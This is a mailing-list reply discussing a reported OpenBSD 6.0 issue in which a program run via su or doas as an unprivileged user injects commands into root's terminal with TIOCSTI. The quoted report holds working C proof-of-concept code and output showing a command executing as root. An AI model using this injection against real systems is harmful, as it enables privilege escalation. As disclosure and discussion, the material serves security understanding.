> I stumbled upon unexpected behavior on OpenBSD 6.0 (all patches) > which seems to allow running commands as the original user when > using su and doas interactively because the controlling terminal > is the same.
Use of su, doas, or sudo -- means you EXPLICITLY want the tty to remain the same. > The following binary is used to test this and compiled as > /tmp/a.out: > > #include <sys/ioctl.h> > #include <stdio.h> > > char s[] =3D "echo Payload as $(whoami)\n"; > > void main(void) { > printf("uid: %d\n", getuid()); > > char *c =3D s; > int i =3D 0; > int tty =3D open("/dev/tty", 0); > > do { > ioctl(tty, TIOCSTI, c); > c++; > } while (*c); > > return; > } > > Now running su builder -c /tmp/a.out (where builder is just a > normal user with a shell) results in: > > # su builder -c /tmp/a.out > uid: 1000 > echo Payload as $(whoami) > # echo Payload as $(whoami) > Payload as root > > Similar happens with doas and the following config: > > # cat /etc/doas.conf > permit nopass root as builder > > # doas -u builder /tmp/a.out > uid: 1000 > echo Payload as $(whoami) > # echo Payload as $(whoami) > Payload as root > > Is this behavior expected and if so, how do I run commands from > root as an untrusted user? It's not mentioned in the man page > that using su/doas as root might allow other users to run code as > root. It sounds as if you don't understand what happens. The command gets run afterwards. > Similar behavior is also mentioned in an old (and unfixed) Debian > bug [1]. So what is learned here? De-escalation using these "sudo" or "doas" like tools on a tty is somewhat unsafe - it has always been unsafe - because tty's have capabilities. If you wish to be safer, do these operations without retaining access to a tty. Escalation on the other hand (user -> root) is different, because then it is clear you want to do more / everything. But de-escalation is a joke. This is just one mechanism on tty, there are others. On other descriptors there are other abilities. I don't have an answer.